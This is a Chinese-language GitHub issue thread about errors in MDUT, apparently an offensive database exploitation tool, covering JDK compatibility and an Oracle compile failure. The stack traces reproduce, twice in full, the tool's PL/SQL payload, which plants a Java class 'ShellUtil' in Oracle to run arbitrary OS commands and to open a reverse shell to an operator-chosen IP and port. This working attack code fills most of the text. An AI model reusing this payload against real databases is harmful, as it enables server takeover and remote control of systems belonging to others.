Open Tukali opened 2 years ago
这个好像是无法初始化该Driver。你有其他环境吗。运行的jdk是多少。把错误详情和环境参数转文字发出来我排查一下。我还是第一次遇到这个错误
在 2022年7月1日,12:36,Tukali @.***> 写道:
使用navicat 可以正常连接,但是这个就报错,想问下该怎么办呢 [CleanShot 2022-07-01 at 12 34 @.***https://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fuser-images.githubusercontent.com%2F45891208%2F176824100-43f09eee-02ff-4080-9a7a-ccb9f2648100.png&data=05%7C01%7C%7C8655cc7303c04888846e08da5b1b45e9%7C84df9e7fe9f640afb435aaaaaaaaaaaa%7C1%7C0%7C637922469951318376%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C3000%7C%7C%7C&sdata=%2BjyBKOf5YcvkjHYrvBf3eG2q0ORAGCiLprszxB4%2F9AU%3D&reserved=0
— Reply to this email directly, view it on GitHubhttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FSafeGroceryStore%2FMDUT%2Fissues%2F49&data=05%7C01%7C%7C8655cc7303c04888846e08da5b1b45e9%7C84df9e7fe9f640afb435aaaaaaaaaaaa%7C1%7C0%7C637922469951318376%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C3000%7C%7C%7C&sdata=HjoI2hSVRrC%2BQRWwaxCDwFIbhKpF%2Fx3XzBM8reSZkuY%3D&reserved=0, or unsubscribehttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAEI6FPOCZX7JV3G6WQZ7P73VRZYU7ANCNFSM52LNXMUA&data=05%7C01%7C%7C8655cc7303c04888846e08da5b1b45e9%7C84df9e7fe9f640afb435aaaaaaaaaaaa%7C1%7C0%7C637922469951318376%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C3000%7C%7C%7C&sdata=ewIy9HRjfz9IZiZLQC8wGJMMY%2FUNv2gyRVsIGmUzllU%3D&reserved=0. You are receiving this because you are subscribed to this thread.Message ID: @.***>
师傅不好意思,才看到,我换了jdk8之后好像就能正确连接了,之前是jdk11,谢谢师傅
师傅,成功连接了,但是初始化命令执行的时候,成功但出现编译错误,具体报错如下:
java.sql.SQLException: ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:509)
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:461)
at oracle.jdbc.driver.T4C8Oall.processError(T4C8Oall.java:1104)
at oracle.jdbc.driver.T4CTTIfun.receive(T4CTTIfun.java:550)
at oracle.jdbc.driver.T4CTTIfun.doRPC(T4CTTIfun.java:268)
at oracle.jdbc.driver.T4C8Oall.doOALL(T4C8Oall.java:655)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:229)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:41)
at oracle.jdbc.driver.T4CStatement.executeForRows(T4CStatement.java:928)
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1205)
at oracle.jdbc.driver.OracleStatement.executeInternal(OracleStatement.java:1823)
at oracle.jdbc.driver.OracleStatement.execute(OracleStatement.java:1778)
at oracle.jdbc.driver.OracleStatementWrapper.execute(OracleStatementWrapper.java:303)
at Dao.OracleDao.executeSql(OracleDao.java:113)
at Dao.OracleDao.importShellUtilJAVA(OracleDao.java:303)
at Controller.OracleController.lambda$CreateShellUtil$12(OracleController.java:496)
at java.lang.Thread.run(Thread.java:750)
Caused by: Error : 24344, Position : 0, Sql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }
public static String exec(String command, String encoding) {
StringBuffer result = new StringBuffer();
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
String systemRootvariable;
try {
systemRootvariable = System.getenv("SystemRoot");
}
catch (ClassCastException e) {
systemRootvariable = System.getProperty("SystemRoot");
}
finalCommand = new String[3];
finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
finalCommand[1] = "/c";
finalCommand[2] = command;
} else { // Linux or Unix System
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
BufferedReader readerIn = null;
BufferedReader readerError = null;
try {
readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
String stemp = "";
while ((stemp = readerIn.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerIn != null) {
readerIn.close();
}
}
try {
readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
String stemp = "";
while ((stemp = readerError.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerError != null) {
readerError.close();
}
}
} catch (Exception e) {
result.append(e.toString());
}
return result.toString();
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
@Override
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[1024];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {}
try {
if (xp != null) {
xp.close();
}
if (ydg != null) {
ydg.close();
}
} catch (Exception e) {
}
}
}
try {
String sp;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
sp = new String("/bin/sh");
} else {
sp = new String("cmd.exe");
}
Socket sk = new Socket(ip, port);
Process ps = Runtime.getRuntime().exec(sp);
(new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
(new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
} ';EXECUTE IMMEDIATE v_command;END;, OriginalSql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }
public static String exec(String command, String encoding) {
StringBuffer result = new StringBuffer();
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
String systemRootvariable;
try {
systemRootvariable = System.getenv("SystemRoot");
}
catch (ClassCastException e) {
systemRootvariable = System.getProperty("SystemRoot");
}
finalCommand = new String[3];
finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
finalCommand[1] = "/c";
finalCommand[2] = command;
} else { // Linux or Unix System
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
BufferedReader readerIn = null;
BufferedReader readerError = null;
try {
readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
String stemp = "";
while ((stemp = readerIn.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerIn != null) {
readerIn.close();
}
}
try {
readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
String stemp = "";
while ((stemp = readerError.readLine()) != null){
result.append(stemp).append("\n");
}
}catch (Exception e){
result.append(e.toString());
}finally {
if (readerError != null) {
readerError.close();
}
}
} catch (Exception e) {
result.append(e.toString());
}
return result.toString();
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
@Override
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[1024];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {}
try {
if (xp != null) {
xp.close();
}
if (ydg != null) {
ydg.close();
}
} catch (Exception e) {
}
}
}
try {
String sp;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
sp = new String("/bin/sh");
} else {
sp = new String("cmd.exe");
}
Socket sk = new Socket(ip, port);
Process ps = Runtime.getRuntime().exec(sp);
(new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
(new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
} ';EXECUTE IMMEDIATE v_command;END;, Error Msg = ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:513)
... 16 more
师傅,成功连接了,但是初始化命令执行的时候,成功但出现编译错误,具体报错如下:
java.sql.SQLException: ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:509) at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:461) at oracle.jdbc.driver.T4C8Oall.processError(T4C8Oall.java:1104) at oracle.jdbc.driver.T4CTTIfun.receive(T4CTTIfun.java:550) at oracle.jdbc.driver.T4CTTIfun.doRPC(T4CTTIfun.java:268) at oracle.jdbc.driver.T4C8Oall.doOALL(T4C8Oall.java:655) at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:229) at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:41) at oracle.jdbc.driver.T4CStatement.executeForRows(T4CStatement.java:928) at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1205) at oracle.jdbc.driver.OracleStatement.executeInternal(OracleStatement.java:1823) at oracle.jdbc.driver.OracleStatement.execute(OracleStatement.java:1778) at oracle.jdbc.driver.OracleStatementWrapper.execute(OracleStatementWrapper.java:303) at Dao.OracleDao.executeSql(OracleDao.java:113) at Dao.OracleDao.importShellUtilJAVA(OracleDao.java:303) at Controller.OracleController.lambda$CreateShellUtil$12(OracleController.java:496) at java.lang.Thread.run(Thread.java:750)
Caused by: Error : 24344, Position : 0, Sql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }
public static String exec(String command, String encoding) { StringBuffer result = new StringBuffer(); try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().contains("windows")) { String systemRootvariable; try { systemRootvariable = System.getenv("SystemRoot"); } catch (ClassCastException e) { systemRootvariable = System.getProperty("SystemRoot"); } finalCommand = new String[3]; finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe"; finalCommand[1] = "/c"; finalCommand[2] = command; } else { // Linux or Unix System finalCommand = new String[3]; finalCommand[0] = "/bin/sh"; finalCommand[1] = "-c"; finalCommand[2] = command; } BufferedReader readerIn = null; BufferedReader readerError = null; try { readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding)); String stemp = ""; while ((stemp = readerIn.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerIn != null) { readerIn.close(); } } try { readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding)); String stemp = ""; while ((stemp = readerError.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerError != null) { readerError.close(); } } } catch (Exception e) { result.append(e.toString()); } return result.toString(); } public static String connectBack(String ip, int port) { class StreamConnector extends Thread { InputStream sp; OutputStream gh; StreamConnector(InputStream sp, OutputStream gh) { this.sp = sp; this.gh = gh; } @Override public void run() { BufferedReader xp = null; BufferedWriter ydg = null; try { xp = new BufferedReader(new InputStreamReader(this.sp)); ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); char buffer[] = new char[1024]; int length; while ((length = xp.read(buffer, 0, buffer.length)) > 0) { ydg.write(buffer, 0, length); ydg.flush(); } } catch (Exception e) {} try { if (xp != null) { xp.close(); } if (ydg != null) { ydg.close(); } } catch (Exception e) { } } } try { String sp; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { sp = new String("/bin/sh"); } else { sp = new String("cmd.exe"); } Socket sk = new Socket(ip, port); Process ps = Runtime.getRuntime().exec(sp); (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start(); (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start(); } catch (Exception e) { } return "^OK^"; }
} ';EXECUTE IMMEDIATE v_command;END;, OriginalSql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;
public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }
public static String exec(String command, String encoding) { StringBuffer result = new StringBuffer(); try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().contains("windows")) { String systemRootvariable; try { systemRootvariable = System.getenv("SystemRoot"); } catch (ClassCastException e) { systemRootvariable = System.getProperty("SystemRoot"); } finalCommand = new String[3]; finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe"; finalCommand[1] = "/c"; finalCommand[2] = command; } else { // Linux or Unix System finalCommand = new String[3]; finalCommand[0] = "/bin/sh"; finalCommand[1] = "-c"; finalCommand[2] = command; } BufferedReader readerIn = null; BufferedReader readerError = null; try { readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding)); String stemp = ""; while ((stemp = readerIn.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerIn != null) { readerIn.close(); } } try { readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding)); String stemp = ""; while ((stemp = readerError.readLine()) != null){ result.append(stemp).append("\n"); } }catch (Exception e){ result.append(e.toString()); }finally { if (readerError != null) { readerError.close(); } } } catch (Exception e) { result.append(e.toString()); } return result.toString(); } public static String connectBack(String ip, int port) { class StreamConnector extends Thread { InputStream sp; OutputStream gh; StreamConnector(InputStream sp, OutputStream gh) { this.sp = sp; this.gh = gh; } @Override public void run() { BufferedReader xp = null; BufferedWriter ydg = null; try { xp = new BufferedReader(new InputStreamReader(this.sp)); ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); char buffer[] = new char[1024]; int length; while ((length = xp.read(buffer, 0, buffer.length)) > 0) { ydg.write(buffer, 0, length); ydg.flush(); } } catch (Exception e) {} try { if (xp != null) { xp.close(); } if (ydg != null) { ydg.close(); } } catch (Exception e) { } } } try { String sp; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { sp = new String("/bin/sh"); } else { sp = new String("cmd.exe"); } Socket sk = new Socket(ip, port); Process ps = Runtime.getRuntime().exec(sp); (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start(); (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start(); } catch (Exception e) { } return "^OK^"; }
} ';EXECUTE IMMEDIATE v_command;END;, Error Msg = ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:513) ... 16 more
这个应该是我提供的 JAVA Util 有错误,你排查一下,看看是哪里错误
+1
使用navicat 可以正常连接,但是这个就报错,想问下该怎么办呢